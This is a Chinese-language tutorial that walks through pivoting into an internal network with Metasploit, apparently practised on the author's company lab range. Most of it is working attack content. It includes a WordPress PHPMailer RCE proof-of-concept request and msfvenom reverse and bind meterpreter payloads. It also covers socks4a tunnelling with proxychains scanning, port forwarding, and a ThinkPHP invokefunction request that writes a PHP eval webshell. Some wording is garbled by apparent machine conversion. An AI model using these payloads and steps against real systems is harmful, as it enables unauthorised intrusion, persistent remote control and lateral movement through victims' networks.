在平时护网比赛中,攻坚环境中,渗透测试中,做内网穿透利用的工具有很多如:EW、Cobalt Strike 为了方便小白入门,本次教程通过渗透过程中最常用的MSF攻击框架中socks4做内网穿透代理,实现内网横向渗透。
用本公司的靶场,仿照一个攻坚小场景:
外网IP:112.115.. (一台存在wordpress漏洞的web做事器)
内网:10.0.0.0/24 (仿照开拓职员,一台为weblogic漏洞机器,一台为thinkphp漏洞机器)
渗透思路:用MSF对wordpress漏洞进行反弹shell,创造机器位于一个内网,建立socks4线路,横向扫描并对内网其他机器进行渗透并反弹shell
由于socks4做穿透超过3层就会失落去流量速率,所往后期我会写一篇用EW或其他穿透工具做多网段多层穿透。
攻击机:kali
目标机:攻坚靶场
首先开启kali,利用Wordpress 4.6 任意命令实行漏洞,对主站做事器进行上传一句话或,直接反弹shell(为了一些教会小白一些提权细节,以是先写入一句话,然后在反弹msf shell)如果自己练习,可以直接msf天生shellcode扔到主站反弹shell。
0x001 主站渗透
打开主站http://122.115..:8000/先容一下这个漏洞
WordPress <= 4.6命令实行漏洞(PHPMailer)(CVE-2016-10033)WordPress是一种利用PHP措辞开拓的博客平台,用户可以在支持PHP和MySQL数据库的做事器上架设属于自己的网站。也可以把WordPress用作一个内容管理系统(CMS)来利用。WordPress利用PHPMailer组件向用户发送邮件。PHPMailer(版本<5.2.18)存在远程命令实行漏洞,攻击者只需轻松地布局出一个恶意邮箱地址,即可写入任意文件,从而造发展途命令实行的危害。
POC
如果目标地址为:http : //127.0.0.1 : 8000/
把下面的HTTP报文复制到BurpSuite Repeater中,单击Go按钮,添补目标IP和扩展(例如,IP添补127.0.0.1添补80)POST /wp-login.php?action=lostpassword HTTP/1.1Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0Accept: /Content-Length: 56Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=admin访问:http : //127.0.0.1 :8000/ vuln
看到返回状态码为200代表已经成功创建了/var/www/html/vuln文件
可在发包之前访问该地址,会涌现404
把稳:
远程URL中不要有 http://所有字母必须小写所有/用${substr{0}{1}{$spool_directory}}代替空格所有用${substr{10}{1}{$tod_log}}代替先利用poc对主站写入一个vuln空缺页面,测试漏洞
然后写入一句话
用中国蚁剑连接webshell,下一步准备msf天生一个shell
在linux系统下/var/tmp目录可以进行高权限反弹shell,打开新的一个终端输入\"大众msfconsole\"大众启动msf
新打开一个终端天生反弹shell命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
回到msf端口msf>use exploit/multi/handler ###监听msf>set payload linux/x86/meterpreter/reverse_tcp ###反弹shell模块msf>run ###开始监听
用webshell把天生的shell.elf上传到/var/tmp/目录下,chmod+x 提权(linux提权细节),在通过终端实行反弹shell
反弹shell成功,开始内网穿透
meterpreter > ipconfig ###查看网卡ip
0x002 搭建内网隧道横向渗透
meterpreter中添加好通向对方内网的路由
meterpreter > run autoroute -s 10.0.0.0/24meterpreter > route flush 不用的时候,记得删掉就行
由于目标是linux的,以是直接进行下一步如果是windows跳板机可以用以下命令进行扫描内网机器run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24 windows:可以先通过arp扫描粗略的扫一眼目标内网的机器大概有多少
msf>background 挂后台保持shell,开始下一步开启代理
msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > set 127.0.0.1msf auxiliary(socks4a) > set srvport 1080msf auxiliary(socks4a) > run
然后apt install proxychains,我kali已经安装了以是直接
vim /etc/proxychains.conf
添加 socks4 127.0.0.1 1080
这样msf本地开启socks4穿透,通过shell,转发到跳板机的机器
proxychains nmap -sT -sV -Pn -n -p80 10.0.0.0/24 ###通过跳板机扫描内网
创造 10.0.0.0/24段有个几台生动ip,新建终端:proxychains firefox ####通过代理打开火狐浏览器
通过web跳板机访问到10.0.0.3,但是问题来了,目标内网有一台漏洞主机10.0.0.3,但是用菜刀或者蚂剑无法直接连接,以是有两个办法:
1.通过proxy代理启动蚁剑或者菜刀 2.目标机内网端口转发
利用portfwd模块(Metasploit中的一个post模块)可完成端口转发
meterpreter > portfwd -hUsage: portfwd [-h] [add | delete | list | flush] [args]OPTIONS: -L <opt> Forward: local host to listen on (optional). Remote: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i <opt> Index of the port forward entry to interact with (see the \公众list\公众 command). -l <opt> Forward: local port to listen on. Reverse: local port to connect to. -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on. -r <opt> Forward: remote host to connect to.
meterpreter > portfwd add -L 本地ip -l 本机端口 -p 目标内网端口 -r 目标内网
以是要建立一条线路用,msf 把本机某个端口直接转发到目标内网端口
攻击者本机<端口转发>>>>>跳板机>>>>>>目标机内网
现在无需任何代理,直接访问本机127.0.0.1:5000 就能访问到目标机内网
现在内网穿透拓扑构培养是
127.0.0.1:5000<>socks4:主站的shll<>内网10.0.0.3:80 本地端口 socks4 内网127.0.0.1:5000=10.0.0.3:80
0x003 多层跳板机穿透
现在对内网10.0.0.3进行渗透和提权,也便是127.0.0.1:5000
内网10.0.0.3是一台包含ThinkPHP5 5.0.22/5.1.29 远程代码实行漏洞的机器
直接访问http://your-ip/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,即可实行phpinfo:
写入一句话shell便是
http://your-ip//index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C?php%20@eval($_POST%5B-7%5D);?%3E
蚁剑连接shell:127.0.0.1:5000/shell.php
现在要对这台内网机器提权msfshell,由于是内网隔离环境,以是须要利用bind_shell
在msf天生一个bind_shell开端口木马启动后,在做本段端口转发过去,msf在bind连接
新起一个终端:msf天生一个bindshell的木马(正向连接)
msfvenom -p linux/x86/meterpreter/bind_tcp lport=9999 -f elf -o bindshell
放到通过webshell 放到/var/tmp/下加权限,启动
现在内网10.0.0.3在9999端口开启直接连shell权限,现在要做一个新的转发把10.0.0.3:9999端口转发到本地,然后msf直连
sessions sessions id编号meterpreter > portfwd add -L 127.0.0.1 -l 9999 -p 10.0.0.3 -r 9999
现在内网10.0.0.3的bindshell 9999 端口 转发到 本地127.0.0.1:9999端口了
msf进行直连shell
use exploit/multi/handlerset payload linux/x86/meterpreter/bind_tcpshow optionsset LPORT 9999set RHOST 127.0.0.1run
等待连接shell
反弹shell后,只须要在10.0.0.3的shell上
use auxiliary/server/socks4aset 127.0.0.1set srvport 1081run添加一个新隧道
在/etc/proxychains.conf 中添加 socks4 127.0.0.1 1081
在proxychains nmap 扫描便是直接连接到10.0.0.3上进行转发扫描,内网二级穿透扫描
127.0.0.1:1080<>主站跳板跳板机<>10.0.0.3跳板机<>新ip(192.168.0.1)
实现了双跳板机内网穿透,同样方法,假如拿到192.168.0.1的第三层内网,只须要之前的添加个端口转发到本地,就能连续渗透。一样平常内网到第二层流量很少了,连续深层网段渗透就须要上 EW穿透神器等工具。
总结一下流程,拿到webshell,上传木马反弹的msf,msf做socks4的代理然后添加端口转发,进行下一层渗透,第二层同样连续反弹shell,做代理,端口转发。